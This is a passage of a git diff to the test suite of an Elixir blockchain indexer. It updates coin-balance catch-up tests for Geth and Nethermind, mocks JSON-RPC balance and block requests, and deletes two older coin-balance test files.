expected_balance_by_block_number, hash_data: hash_data} = + case Keyword.fetch!(json_rpc_named_arguments, :variant) do + EthereumJSONRPC.Geth -> + %{ + balance_by_block_number: %{ + 1 => 5_000_000_000_000_000_000, + 2 => 5_000_000_000_000_000_000 + }, + hash_data: "0x05a56e2d52c817161883f50c441c3228cfe54d9f" + } + + EthereumJSONRPC.Nethermind -> + %{ + balance_by_block_number: %{ + 1 => 252_460_801_000_000_000_000_000_000, + 2 => 252_460_802_000_000_000_000_000_000 + }, + hash_data: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" + } + + variant -> + raise ArgumentError, "Unsupported variant (#{variant})" + end + + block_quantities = + expected_balance_by_block_number + |> Map.keys() + |> Enum.sort() + |> Enum.map(&integer_to_quantity/1) + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + expected_requests = + block_quantities + |> Stream.with_index() + |> Enum.map(fn {block_quantity, index} -> + %{id: index, jsonrpc: "2.0", method: "eth_getBalance", params: [hash_data, block_quantity]} + end) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn ^expected_requests, _options -> + {:ok, + Enum.map(expected_requests, fn %{id: id, params: [_, block_quantity]} -> + %{ + id: id, + result: + expected_balance_by_block_number + |> Map.fetch!(quantity_to_integer(block_quantity)) + |> integer_to_quantity() + } + end)} + end) + end + + {:ok, %Hash{bytes: address_hash_bytes}} = Hash.Address.cast(hash_data) + entries = Enum.map(block_quantities, &{address_hash_bytes, quantity_to_integer(&1)}) + + res1 = eth_block_number_fake_response("0x1") + res2 = eth_block_number_fake_response("0x2") + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{id: 0, jsonrpc: "2.0", method: "eth_getBlockByNumber", params: ["0x1", true]} + ], + _ -> + {:ok, [res1]} + end) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{id: 0, jsonrpc: "2.0", method: "eth_getBlockByNumber", params: ["0x2", true]} + ], + _ -> + {:ok, [res2]} + end) + + BlockNumber.set_max(2) + + case CoinBalanceCatchup.run(entries, json_rpc_named_arguments) do + :ok -> + balances = Repo.all(from(balance in Address.CoinBalance, where: balance.address_hash == ^hash_data)) + + assert Enum.count(balances) == 2 + + balance_by_block_number = + Enum.into(balances, %{}, fn %Address.CoinBalance{block_number: block_number} = balance -> + {block_number, balance} + end) + + Enum.each(expected_balance_by_block_number, fn {block_number, expected_balance} -> + expected_value = %Explorer.Chain.Wei{value: Decimal.new(expected_balance)} + + assert %Address.CoinBalance{value: ^expected_value} = balance_by_block_number[block_number] + end) + + fetched_address = Repo.one!(from(address in Address, where: address.hash == ^hash_data)) + + {expected_fetched_balance_block_number, expected_fetched_balance_value} = + Enum.max_by(expected_balance_by_block_number, fn {block_number, _} -> block_number end) + + expected_fetched_balance = %Explorer.Chain.Wei{value: Decimal.new(expected_fetched_balance_value)} + + assert fetched_address.fetched_coin_balance == expected_fetched_balance + assert fetched_address.fetched_coin_balance_block_number == expected_fetched_balance_block_number + + other -> + # not all nodes behind the `https://mainnet.infura.io` pool are fully-synced. Node that aren't fully-synced + # won't have historical address balances. + assert {:retry, ^entries} = other + end + end + end + + describe "run/2 partial batch" do + setup do + %{ + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [], + # Which one does not matter, so pick one + variant: EthereumJSONRPC.Nethermind + ] + } + end + + test "retries all if no successes", %{json_rpc_named_arguments: json_rpc_named_arguments} do + %Hash{bytes: address_hash_bytes} = address_hash() + entries = [{address_hash_bytes, block_number()}] + + expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, method: "eth_getBalance", params: [_, _]}], _ -> + {:ok, [%{id: id, error: %{code: 1, message: "Bad"}}]} + end) + + BlockNumber.set_max(block_number()) + + assert {:retry, ^entries} = CoinBalanceCatchup.run(entries, json_rpc_named_arguments) + end + + test "retries none if all imported and no fetch errors", %{json_rpc_named_arguments: json_rpc_named_arguments} do + %Hash{bytes: address_hash_bytes} = address_hash() + block_number = block_number() + entries = [{address_hash_bytes, block_number}] + + expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, method: "eth_getBalance", params: [_, _]}], _ -> + {:ok, [%{id: id, result: "0x1"}]} + end) + + block_quantity = integer_to_quantity(block_number) + res = eth_block_number_fake_response(block_quantity) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: [^block_quantity, true] + } + ], + _ -> + {:ok, [res]} + end) + + BlockNumber.set_max(block_number) + + assert :ok = CoinBalanceCatchup.run(entries, json_rpc_named_arguments) + end + + test "retries fetch errors if all imported", %{json_rpc_named_arguments: json_rpc_named_arguments} do + %Hash{bytes: address_hash_bytes} = address_hash() + bad_block_number = block_number() + good_block_number = block_number() + + expect(EthereumJSONRPC.Mox, :json_rpc, fn [ + %{ + id: first_id, + method: "eth_getBalance", + params: [_, first_block_quantity] + }, + %{ + id: second_id, + method: "eth_getBalance", + params: [_, _] + } + ], + _ -> + responses = + case quantity_to_integer(first_block_quantity) do + ^good_block_number -> + [ + %{id: first_id, result: "0x1"}, + %{id: second_id, error: %{code: 2, message: "Bad"}} + ] + + ^bad_block_number -> + [ + %{id: first_id, error: %{code: 1, message: "Bad"}}, + %{id: second_id, result: "0x2"} + ] + end + + {:ok, responses} + end) + + good_block_quantity = integer_to_quantity(good_block_number) + res_good = eth_block_number_fake_response(good_block_quantity) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: [^good_block_quantity, true] + } + ], + [] -> + {:ok, [res_good]} + end) + + BlockNumber.set_max(good_block_number) + + assert {:retry, [{^address_hash_bytes, ^bad_block_number}]} = + CoinBalanceCatchup.run( + [{address_hash_bytes, good_block_number}, {address_hash_bytes, bad_block_number}], + json_rpc_named_arguments + ) + end + end + + defp wait(producer) do + producer.() + rescue + Ecto.NoResultsError -> + Process.sleep(100) + wait(producer) + end + + defp eth_block_number_fake_response(block_quantity) do + %{ + id: 0, + jsonrpc: "2.0", + result: %{ + "author" => "0x0000000000000000000000000000000000000000", + "difficulty" => "0x20000", + "extraData" => "0x", + "gasLimit" => "0x663be0", + "gasUsed" => "0x0", + "hash" => "0x5b28c1bfd3a15230c9a46b399cd0f9a6920d432e85381cc6a140b06e8410112f", + "logsBloom" => + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "miner" => "0x0000000000000000000000000000000000000000", + "number" => block_quantity, + "parentHash" => "0x0000000000000000000000000000000000000000000000000000000000000000", + "receiptsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "sealFields" => [ + "0x80", + "0xb8410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + ], + "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "signature" => + "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "size" => "0x215", + "stateRoot" => "0xfad4af258fd11939fae0c6c6eec9d340b1caac0b0196fd9a1bc3f489c5bf00b3", + "step" => "0", + "timestamp" => "0x0", + "totalDifficulty" => "0x20000", + "transactions" => [], + "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "uncles" => [] + } + } + end +end diff --git a/apps/indexer/test/indexer/fetcher/coin_balance_on_demand_test.exs b/apps/indexer/test/indexer/fetcher/coin_balance_on_demand_test.exs deleted file mode 100644 index bab4f54da22d..000000000000 --- a/apps/indexer/test/indexer/fetcher/coin_balance_on_demand_test.exs +++ /dev/null @@ -1,222 +0,0 @@ -defmodule Indexer.Fetcher.CoinBalanceOnDemandTest do - # MUST be `async: false` so that {:shared, pid} is set for connection to allow CoinBalanceFetcher's self-send to have - # connection allowed immediately. - use EthereumJSONRPC.Case, async: false - use Explorer.DataCase - - import Mox - - alias Explorer.Chain.Events.Subscriber - alias Explorer.Chain.Wei - alias Explorer.Counters.AverageBlockTime - alias Indexer.Fetcher.CoinBalanceOnDemand - - @moduletag :capture_log - - # MUST use global mode because we aren't guaranteed to get `start_supervised`'s pid back fast enough to `allow` it to - # use expectations and stubs from test's pid. - setup :set_mox_global - - setup :verify_on_exit! - - setup %{json_rpc_named_arguments: json_rpc_named_arguments} do - mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) - - start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) - start_supervised!(AverageBlockTime) - start_supervised!({CoinBalanceOnDemand, [mocked_json_rpc_named_arguments, [name: CoinBalanceOnDemand]]}) - - Application.put_env(:explorer, AverageBlockTime, enabled: true) - - on_exit(fn -> - Application.put_env(:explorer, AverageBlockTime, enabled: false) - end) - - %{json_rpc_named_arguments: mocked_json_rpc_named_arguments} - end - - describe "trigger_fetch/1" do - setup do - now = Timex.now() - - # we space these very far apart so that we know it will consider the 0th block stale (it calculates how far - # back we'd need to go to get 24 hours in the past) - Enum.each(0..100, fn i -> - insert(:block, number: i, timestamp: Timex.shift(now, hours: -(101 - i) * 50)) - end) - - insert(:block, number: 101, timestamp: now) - AverageBlockTime.refresh() - - stale_address = insert(:address, fetched_coin_balance: 1, fetched_coin_balance_block_number: 100) - current_address = insert(:address, fetched_coin_balance: 1, fetched_coin_balance_block_number: 101) - - pending_address = insert(:address, fetched_coin_balance: 1, fetched_coin_balance_block_number: 101) - insert(:unfetched_balance, address_hash: pending_address.hash, block_number: 102) - - %{stale_address: stale_address, current_address: current_address, pending_address: pending_address} - end - - test "treats all addresses as current if the average block time is disabled", %{stale_address: address} do - Application.put_env(:explorer, AverageBlockTime, enabled: false) - - assert CoinBalanceOnDemand.trigger_fetch(address) == :current - end - - test "if the address has not been fetched within the last 24 hours of blocks it is considered stale", %{ - stale_address: address - } do - assert CoinBalanceOnDemand.trigger_fetch(address) == {:stale, 101} - end - - test "if the address has been fetched within the last 24 hours of blocks it is considered current", %{ - current_address: address - } do - assert CoinBalanceOnDemand.trigger_fetch(address) == :current - end - - test "if there is an unfetched balance within the window for an address, it is considered pending", %{ - pending_address: pending_address - } do - assert CoinBalanceOnDemand.trigger_fetch(pending_address) == {:pending, 102} - end - end - - describe "update behaviour" do - setup do - Subscriber.to(:addresses, :on_demand) - Subscriber.to(:address_coin_balances, :on_demand) - - now = Timex.now() - - # we space these very far apart so that we know it will consider the 0th block stale (it calculates how far - # back we'd need to go to get 24 hours in the past) - Enum.each(0..100, fn i -> - insert(:block, number: i, timestamp: Timex.shift(now, hours: -(101 - i) * 50)) - end) - - insert(:block, number: 101, timestamp: now) - AverageBlockTime.refresh() - - :ok - end - - test "a stale address broadcasts the new address" do - address = insert(:address, fetched_coin_balance: 1, fetched_coin_balance_block_number: 100) - address_hash = address.hash - string_address_hash = to_string(address.hash) - - expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn [ - %{ - id: id, - method: "eth_getBalance", - params: [^string_address_hash, "0x65"] - } - ], - _options -> - {:ok, [%{id: id, jsonrpc: "2.0", result: "0x02"}]} - end) - - res = eth_block_number_fake_response("0x65") - - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_getBlockByNumber", - params: ["0x65", true] - } - ], - _ -> - {:ok, [res]} - end) - - assert CoinBalanceOnDemand.trigger_fetch(address) == {:stale, 101} - - {:ok, expected_wei} = Wei.cast(2) - - assert_receive( - {:chain_event, :addresses, :on_demand, - [%{hash: ^address_hash, fetched_coin_balance: ^expected_wei, fetched_coin_balance_block_number: 101}]} - ) - end - - test "a pending address broadcasts the new address and the new coin balance" do - address = insert(:address, fetched_coin_balance: 0, fetched_coin_balance_block_number: 101) - insert(:unfetched_balance, address_hash: address.hash, block_number: 102) - address_hash = address.hash - string_address_hash = to_string(address.hash) - - expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn [ - %{ - id: id, - method: "eth_getBalance", - params: [^string_address_hash, "0x66"] - } - ], - _options -> - {:ok, [%{id: id, jsonrpc: "2.0", result: "0x02"}]} - end) - - EthereumJSONRPC.Mox - |> expect(:json_rpc, 1, fn [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_getBlockByNumber", - params: ["0x66", true] - } - ], - _ -> - res = eth_block_number_fake_response("0x66") - {:ok, [res]} - end) - - assert CoinBalanceOnDemand.trigger_fetch(address) == {:pending, 102} - - {:ok, expected_wei} = Wei.cast(2) - - assert_receive( - {:chain_event, :addresses, :on_demand, - [%{hash: ^address_hash, fetched_coin_balance: ^expected_wei, fetched_coin_balance_block_number: 102}]} - ) - end - end - - defp eth_block_number_fake_response(block_quantity) do - %{ - id: 0, - jsonrpc: "2.0", - result: %{ - "author" => "0x0000000000000000000000000000000000000000", - "difficulty" => "0x20000", - "extraData" => "0x", - "gasLimit" => "0x663be0", - "gasUsed" => "0x0", - "hash" => "0x5b28c1bfd3a15230c9a46b399cd0f9a6920d432e85381cc6a140b06e8410112f", - "logsBloom" => - "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "miner" => "0x0000000000000000000000000000000000000000", - "number" => block_quantity, - "parentHash" => "0x0000000000000000000000000000000000000000000000000000000000000000", - "receiptsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "sealFields" => [ - "0x80", - "0xb8410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" - ], - "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", - "signature" => - "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "size" => "0x215", - "stateRoot" => "0xfad4af258fd11939fae0c6c6eec9d340b1caac0b0196fd9a1bc3f489c5bf00b3", - "step" => "0", - "timestamp" => "0x0", - "totalDifficulty" => "0x20000", - "transactions" => [], - "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "uncles" => [] - } - } - end -end diff --git a/apps/indexer/test/indexer/fetcher/coin_balance_test.exs b/apps/indexer/test/indexer/fetcher/coin_balance_test.exs deleted file mode 100644 index 12acf46a0913..000000000000 --- a/apps/indexer/test/indexer/fetcher/coin_balance_test.exs +++ /dev/null @@ -1,510 +0,0 @@ -defmodule Indexer.Fetcher.CoinBalanceTest do - # MUST be `async: false` so that {:shared, pid} is set for connection to allow CoinBalanceFetcher's self-send to have - # connection allowed immediately. - use EthereumJSONRPC.Case, async: false - use Explorer.DataCase - - import EthereumJSONRPC, only: [integer_to_quantity: 1, quantity_to_integer: 1] - import Mox - - alias Explorer.Chain.{Address, Hash, Wei} - alias Indexer.Fetcher.CoinBalance - - @moduletag :capture_log - - # MUST use global mode because we aren't guaranteed to get `start_supervised`'s pid back fast enough to `allow` it to - # use expectations and stubs from test's pid. - setup :set_mox_global - - setup :verify_on_exit! - - setup do - start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) - - :ok - end - - describe "init/1" do - test "fetches unfetched Block miner balance", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - variant = Keyword.fetch!(json_rpc_named_arguments, :variant) - - %{block_number: block_number, fetched_balance: fetched_balance, miner_hash_data: miner_hash_data} = - case variant do - EthereumJSONRPC.Geth -> - %{ - block_number: 201_480, - fetched_balance: 6_301_752_965_671_077_173, - miner_hash_data: "0xe6a7a1d47ff21b6321162aea7c6cb457d5476bca" - } - - EthereumJSONRPC.Parity -> - %{ - block_number: 34, - fetched_balance: 252_460_834_000_000_000_000_000_000, - miner_hash_data: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" - } - - variant -> - raise ArgumentError, "Unsupported variant (#{variant})" - end - - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - block_quantity = integer_to_quantity(block_number) - - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [%{id: id, method: "eth_getBalance", params: [^miner_hash_data, ^block_quantity]}], - _options -> - {:ok, [%{id: id, result: integer_to_quantity(fetched_balance)}]} - end) - - res = eth_block_number_fake_response(block_quantity) - - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_getBlockByNumber", - params: [^block_quantity, true] - } - ], - _ -> - {:ok, [res]} - end) - end - - {:ok, miner_hash} = Hash.Address.cast(miner_hash_data) - miner = insert(:address, hash: miner_hash) - block = insert(:block, miner: miner, number: block_number) - insert(:unfetched_balance, address_hash: miner.hash, block_number: block_number) - - assert miner.fetched_coin_balance == nil - assert miner.fetched_coin_balance_block_number == nil - - CoinBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) - - fetched_address = - wait(fn -> - Repo.one!( - from(address in Address, where: address.hash == ^miner_hash and not is_nil(address.fetched_coin_balance)) - ) - end) - - assert fetched_address.fetched_coin_balance == %Wei{value: Decimal.new(fetched_balance)} - assert fetched_address.fetched_coin_balance_block_number == block.number - end - - test "fetches unfetched addresses when less than max batch size", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - variant = Keyword.fetch!(json_rpc_named_arguments, :variant) - - %{block_number: block_number, fetched_balance: fetched_balance, miner_hash_data: miner_hash_data} = - case variant do - EthereumJSONRPC.Geth -> - %{ - block_number: 201_480, - fetched_balance: 6_301_752_965_671_077_173, - miner_hash_data: "0xe6a7a1d47ff21b6321162aea7c6cb457d5476bca" - } - - EthereumJSONRPC.Parity -> - %{ - block_number: 34, - fetched_balance: 252_460_834_000_000_000_000_000_000, - miner_hash_data: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" - } - - variant -> - raise ArgumentError, "Unsupported variant (#{variant})" - end - - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - block_quantity = integer_to_quantity(block_number) - - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [%{id: id, method: "eth_getBalance", params: [^miner_hash_data, ^block_quantity]}], - _options -> - {:ok, [%{id: id, result: integer_to_quantity(fetched_balance)}]} - end) - - res = eth_block_number_fake_response(block_quantity) - - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_getBlockByNumber", - params: [^block_quantity, true] - } - ], - _ -> - {:ok, [res]} - end) - end - - {:ok, miner_hash} = Hash.Address.cast(miner_hash_data) - miner = insert(:address, hash: miner_hash) - block = insert(:block, miner: miner, number: block_number) - insert(:unfetched_balance, address_hash: miner.hash, block_number: block_number) - - CoinBalance.Supervisor.Case.start_supervised!( - json_rpc_named_arguments: json_rpc_named_arguments, - max_batch_size: 2 - ) - - fetched_address = - wait(fn -> - Repo.one!( - from(address in Address, where: address.hash == ^miner_hash and not is_nil(address.fetched_coin_balance)) - ) - end) - - assert fetched_address.fetched_coin_balance == %Wei{value: Decimal.new(fetched_balance)} - assert fetched_address.fetched_coin_balance_block_number == block.number - end - end - - describe "async_fetch_balances/1" do - test "fetches balances for address_hashes", %{json_rpc_named_arguments: json_rpc_named_arguments} do - variant = Keyword.fetch!(json_rpc_named_arguments, :variant) - - %{block_number: block_number, fetched_balance: fetched_balance, hash: hash} = - case variant do - EthereumJSONRPC.Geth -> - %{ - block_number: 201_480, - fetched_balance: 6_301_752_965_671_077_173, - hash: %Explorer.Chain.Hash{ - byte_count: 20, - bytes: <<230, 167, 161, 212, 127, 242, 27, 99, 33, 22, 42, 234, 124, 108, 180, 87, 213, 71, 107, 202>> - } - } - - EthereumJSONRPC.Parity -> - %{ - block_number: 34, - fetched_balance: 252_460_834_000_000_000_000_000_000, - hash: %Explorer.Chain.Hash{ - byte_count: 20, - bytes: - <<232, 221, 197, 199, 162, 210, 240, 215, 169, 121, 132, 89, 192, 16, 79, 223, 94, 152, 122, 202>> - } - } - - variant -> - raise ArgumentError, "Unsupported variant (#{variant})" - end - - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - block_quantity = integer_to_quantity(block_number) - hash_data = to_string(hash) - - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [%{id: id, method: "eth_getBalance", params: [^hash_data, ^block_quantity]}], - _options -> - {:ok, [%{id: id, result: integer_to_quantity(fetched_balance)}]} - end) - - res = eth_block_number_fake_response(block_quantity) - - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_getBlockByNumber", - params: [^block_quantity, true] - } - ], - _ -> - {:ok, [res]} - end) - end - - CoinBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) - - assert :ok = CoinBalance.async_fetch_balances([%{address_hash: hash, block_number: block_number}]) - - address = - wait(fn -> - Repo.get!(Address, hash) - end) - - assert address.fetched_coin_balance == %Wei{value: Decimal.new(fetched_balance)} - assert address.fetched_coin_balance_block_number == block_number - end - end - - describe "run/2" do - test "duplicate address hashes uses all block_quantity", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - %{balance_by_block_number: expected_balance_by_block_number, hash_data: hash_data} = - case Keyword.fetch!(json_rpc_named_arguments, :variant) do - EthereumJSONRPC.Geth -> - %{ - balance_by_block_number: %{ - 1 => 5_000_000_000_000_000_000, - 2 => 5_000_000_000_000_000_000 - }, - hash_data: "0x05a56e2d52c817161883f50c441c3228cfe54d9f" - } - - EthereumJSONRPC.Parity -> - %{ - balance_by_block_number: %{ - 1 => 252_460_801_000_000_000_000_000_000, - 2 => 252_460_802_000_000_000_000_000_000 - }, - hash_data: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" - } - - variant -> - raise ArgumentError, "Unsupported variant (#{variant})" - end - - block_quantities = - expected_balance_by_block_number - |> Map.keys() - |> Enum.sort() - |> Enum.map(&integer_to_quantity/1) - - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - expected_requests = - block_quantities - |> Stream.with_index() - |> Enum.map(fn {block_quantity, index} -> - %{id: index, jsonrpc: "2.0", method: "eth_getBalance", params: [hash_data, block_quantity]} - end) - - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn ^expected_requests, _options -> - {:ok, - Enum.map(expected_requests, fn %{id: id, params: [_, block_quantity]} -> - %{ - id: id, - result: - expected_balance_by_block_number - |> Map.fetch!(quantity_to_integer(block_quantity)) - |> integer_to_quantity() - } - end)} - end) - end - - {:ok, %Hash{bytes: address_hash_bytes}} = Hash.Address.cast(hash_data) - entries = Enum.map(block_quantities, &{address_hash_bytes, quantity_to_integer(&1)}) - - res1 = eth_block_number_fake_response("0x1") - res2 = eth_block_number_fake_response("0x2") - - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [ - %{id: 0, jsonrpc: "2.0", method: "eth_getBlockByNumber", params: ["0x1", true]} - ], - _ -> - {:ok, [res1]} - end) - - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [ - %{id: 0, jsonrpc: "2.0", method: "eth_getBlockByNumber", params: ["0x2", true]} - ], - _ -> - {:ok, [res2]} - end) - - case CoinBalance.run(entries, json_rpc_named_arguments) do - :ok -> - balances = Repo.all(from(balance in Address.CoinBalance, where: balance.address_hash == ^hash_data)) - - assert Enum.count(balances) == 2 - - balance_by_block_number = - Enum.into(balances, %{}, fn %Address.CoinBalance{block_number: block_number} = balance -> - {block_number, balance} - end) - - Enum.each(expected_balance_by_block_number, fn {block_number, expected_balance} -> - expected_value = %Explorer.Chain.Wei{value: Decimal.new(expected_balance)} - - assert %Address.CoinBalance{value: ^expected_value} = balance_by_block_number[block_number] - end) - - fetched_address = Repo.one!(from(address in Address, where: address.hash == ^hash_data)) - - {expected_fetched_balance_block_number, expected_fetched_balance_value} = - Enum.max_by(expected_balance_by_block_number, fn {block_number, _} -> block_number end) - - expected_fetched_balance = %Explorer.Chain.Wei{value: Decimal.new(expected_fetched_balance_value)} - - assert fetched_address.fetched_coin_balance == expected_fetched_balance - assert fetched_address.fetched_coin_balance_block_number == expected_fetched_balance_block_number - - other -> - # not all nodes behind the `https://mainnet.infura.io` pool are fully-synced. Node that aren't fully-synced - # won't have historical address balances. - assert {:retry, ^entries} = other - end - end - end - - describe "run/2 partial batch" do - setup do - %{ - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.Mox, - transport_options: [], - # Which one does not matter, so pick one - variant: EthereumJSONRPC.Parity - ] - } - end - - test "retries all if no successes", %{json_rpc_named_arguments: json_rpc_named_arguments} do - %Hash{bytes: address_hash_bytes} = address_hash() - entries = [{address_hash_bytes, block_number()}] - - expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, method: "eth_getBalance", params: [_, _]}], _ -> - {:ok, [%{id: id, error: %{code: 1, message: "Bad"}}]} - end) - - assert {:retry, ^entries} = CoinBalance.run(entries, json_rpc_named_arguments) - end - - test "retries none if all imported and no fetch errors", %{json_rpc_named_arguments: json_rpc_named_arguments} do - %Hash{bytes: address_hash_bytes} = address_hash() - block_number = block_number() - entries = [{address_hash_bytes, block_number}] - - expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, method: "eth_getBalance", params: [_, _]}], _ -> - {:ok, [%{id: id, result: "0x1"}]} - end) - - block_quantity = integer_to_quantity(block_number) - res = eth_block_number_fake_response(block_quantity) - - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_getBlockByNumber", - params: [^block_quantity, true] - } - ], - _ -> - {:ok, [res]} - end) - - assert :ok = CoinBalance.run(entries, json_rpc_named_arguments) - end - - test "retries fetch errors if all imported", %{json_rpc_named_arguments: json_rpc_named_arguments} do - %Hash{bytes: address_hash_bytes} = address_hash() - bad_block_number = block_number() - good_block_number = block_number() - - expect(EthereumJSONRPC.Mox, :json_rpc, fn [ - %{ - id: first_id, - method: "eth_getBalance", - params: [_, first_block_quantity] - }, - %{ - id: second_id, - method: "eth_getBalance", - params: [_, _] - } - ], - _ -> - responses = - case quantity_to_integer(first_block_quantity) do - ^good_block_number -> - [ - %{id: first_id, result: "0x1"}, - %{id: second_id, error: %{code: 2, message: "Bad"}} - ] - - ^bad_block_number -> - [ - %{id: first_id, error: %{code: 1, message: "Bad"}}, - %{id: second_id, result: "0x2"} - ] - end - - {:ok, responses} - end) - - good_block_quantity = integer_to_quantity(good_block_number) - res_good = eth_block_number_fake_response(good_block_quantity) - - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_getBlockByNumber", - params: [^good_block_quantity, true] - } - ], - [] -> - {:ok, [res_good]} - end) - - assert {:retry, [{^address_hash_bytes, ^bad_block_number}]} = - CoinBalance.run( - [{address_hash_bytes, good_block_number}, {address_hash_bytes, bad_block_number}], - json_rpc_named_arguments - ) - end - end - - defp wait(producer) do - producer.() - rescue - Ecto.NoResultsError -> - Process.sleep(100) - wait(producer) - end - - defp eth_block_number_fake_response(block_quantity) do - %{ - id: 0, - jsonrpc: "2.0", - result: %{ - "author" => "0x0000000000000000000000000000000000000000", - "difficulty" => "0x20000", - "extraData" => "0x", - "gasLimit" => "0x663be0", - "gasUsed" => "0x0", - "hash" => "0x5b28c1bfd3a15230c9a46b399cd0f9a6920d432e85381cc6a140b06e8410112f", - "logsBloom" => - "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "miner" => "0x0000000000000000000000000000000000000000", - "number" => block_quantity, - "parentHash" => "0x0000000000000000000000000000000000000000000000000000000000000000", - "receiptsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "sealFields" => [ - "0x80", - "0xb8410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" - ], - "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", - "signature" => - "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "size" => "0x215", - "stateRoot" => "0xfad4af258fd11939fae0c6c6eec9d340b1caac0b0196fd9a1bc3f489c5bf00b3", - "step" => "0", - "timestamp" => "0x0", - "totalDifficulty" => "0x20000", - "transactions" => [], - "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "uncles" => [] - } - } - end -end diff --git a/apps/indexer/test/indexer/fetcher/contract_code_test.exs b/apps/indexer/test/indexer/fetcher/contract_code_test.exs index 210bafc81863..e671eed641a6 100644 --- a/apps/indexer/test/indexer/fetcher/contract_code_test.exs +++ b/apps/indexer/test/indexer/fetcher/contract_code_test.exs @@ -24,8 +24,8 @@ defmodule Indexer.Fetcher.ContractCodeTest do end describe "async_fetch/1" do - # geth test node on circle ci is synced farther than parity - @tag :no_parity + # geth test node on circle ci is synced farther than Nethermind + 